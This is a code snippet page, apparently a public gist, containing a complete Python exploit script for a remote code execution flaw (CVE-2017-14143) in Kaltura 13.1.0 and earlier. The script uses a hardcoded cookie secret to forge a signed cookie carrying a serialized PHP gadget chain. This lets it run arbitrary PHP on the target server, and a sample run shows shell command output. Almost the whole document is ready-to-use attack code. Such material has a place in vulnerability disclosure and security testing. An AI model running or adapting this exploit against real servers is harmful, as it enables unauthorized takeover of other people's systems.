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Created
October 24, 2017 16:35
Kaltura <= 13.1.0 Remote Code Execution (CVE-2017-14143)
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#!/usr/bin/env python | |
# Kaltura <= 13.1.0 RCE (CVE-2017-14143) | |
# https://telekomsecurity.github.io/2017/09/kaltura-rce.html | |
# | |
# $ python kaltura_rce.py "https://example.com" 0_xxxxxxxx "system('id')" | |
# [~] host: https://example.com | |
# [~] entry_id: 0_xxxxxxxx | |
# [~] code: system('id') | |
# [+] sending request.. | |
# uid=1003(wwwrun) gid=50004(www) groups=50004(www),7373(kaltura) | |
import urllib | |
import urllib2 | |
import base64 | |
import md5 | |
import sys | |
cookie_secret = 'y3tAno3therS$cr3T'; | |
def exploit(host, entry_id, php_code): | |
print("[+] Sending request..") | |
url = "{}/index.php/keditorservices/getAllEntries?list_type=15&entry_id={}".format(host, entry_id) | |
cmd = "{}.die();".format(php_code) | |
cmd_len = len(cmd) | |
payload = "a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\0*\0_writers\";a:1:{i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\0*\0_eventsToMail\";a:1:{i:0;i:1;}s:22:\"\0*\0_layoutEventsToMail\";a:0:{}s:8:\"\0*\0_mail\";O:9:\"Zend_Mail\":0:{}s:10:\"\0*\0_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\0*\0_inflector\";O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\0*\0_matchPattern\";s:7:\"/(.*)/e\";s:15:\"\0*\0_replacement\";s:%s:\"%s\";}s:20:\"\0*\0_inflectorEnabled\";b:1;s:10:\"\0*\0_layout\";s:6:\"layout\";}s:22:\"\0*\0_subjectPrependText\";N;}}};}" | |
exploit_code = payload % (len(cmd), cmd) | |
encoded = base64.b64encode(exploit_code) | |
md5_hash = md5.new("%s%s" % (encoded, cookie_secret)).hexdigest() | |
cookies={'userzone': "%s%s" % (encoded, md5_hash)} | |
r = urllib2.Request(url) | |
r.add_header('Cookie', urllib.urlencode(cookies)) | |
req = urllib2.urlopen(r) | |
return req.read() | |
if __name__ == '__main__': | |
if len(sys.argv) < 4: | |
print("Usage: %s <host> <entry_id> <php_code>" % sys.argv[0]) | |
print(" example: %s http://example.com 0_abc1234 system('id')" % sys.argv[0]) | |
sys.exit(0) | |
host = sys.argv[1] | |
entry_id = sys.argv[2] | |
cmd = sys.argv[3] | |
print("[~] host: %s" % host) | |
print("[~] entry_id: %s" % entry_id) | |
print("[~] php_code: %s" % cmd) | |
result = exploit(sys.argv[1], sys.argv[2], sys.argv[3]) | |
print(result) |
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